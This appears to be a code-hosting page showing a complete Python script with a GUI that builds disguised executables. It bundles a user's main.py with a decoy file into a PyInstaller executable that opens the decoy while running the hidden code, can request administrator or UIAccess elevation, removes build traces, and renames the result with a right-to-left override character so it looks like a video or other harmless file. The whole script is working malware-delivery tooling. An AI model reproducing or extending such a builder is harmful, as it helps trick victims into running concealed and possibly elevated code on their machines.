File size: 2,409 Bytes
f1d7139
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
50c7418
f1d7139
 
50c7418
 
f1d7139
50c7418
f1d7139
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#‮
from tkinter.filedialog import askopenfilename , askdirectory , asksaveasfilename
from tkinter.simpledialog import askstring
from tkinter.messagebox import showwarning , askyesno
import sys
from PIL import Image
from shutil import copy2 , rmtree , move
from os import remove , getcwd
from subprocess import Popen , PIPE , DEVNULL
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
    if not Popen("python -m pip",stderr=PIPE).communicate()[0]:
        Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
    else:
        showwarning("Python is required to run this program")
        sys.exit()
def hide_file(openfilename:str, extension:str="mp4",path:str=""):
    openfile = openfilename.split("/")[-1].split(".")
    newname = path +"/"+ openfile[0] + "\u202E"+extension[::-1]+"." + openfile[1]
    copy2(openfilename, newname)

# hide_file(askopenfilename(), askstring("extension", "Enter the extension of the file which you want to modify"),askdirectory(title="SELECT SAVE DIRECTORY"))
folder = askdirectory(title="SELECT FOLDER")
Image.open(askopenfilename(filetypes=[("Image",["*.jpg","*.png","*.jpeg","*.ico"])])).convert("RGBA").save(f"{folder}/icon.ico", format="ICO", sizes=[(72, 72)])
filename = askopenfilename()
copy2(filename,f"{folder}/{filename.split('/')[-1]}")
open(f"{folder}/mainfile.py","a+").write(f'''

from subprocess import Popen

from os import chdir

import sys

from time import sleep

chdir(sys._MEIPASS+r"\data")

Popen("{filename.split("/")[-1]}",shell=True).communicate()

sleep(1)

import main

''')
command = ['pyinstaller', '--noconfirm', '--onefile', '--windowed', '--icon', f'{folder}/icon.ico', '--name', 'software', '--add-data', f'{folder};data/',f'{folder}/mainfile.py']
if askyesno("UAC","Do you want to run this program as administrator?"):
    command.insert(1,"--uac-admin")
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
    command.insert(1,"--uac-uiaccess")
Popen(command,shell=True,stdout=DEVNULL,stderr=DEVNULL).communicate()
rmtree("build")
remove("software.spec")
remove(f"{folder}/icon.ico")
remove(f"{folder}/mainfile.py")
remove(f"{folder}/{filename.split('/')[-1]}")
move("dist/software.exe","software.exe")
rmtree("dist")
hide_file("software.exe",filename.split('.')[-1],askdirectory(title="SELECT FOLDER FOR SAVE A FILE"))
remove("software.exe")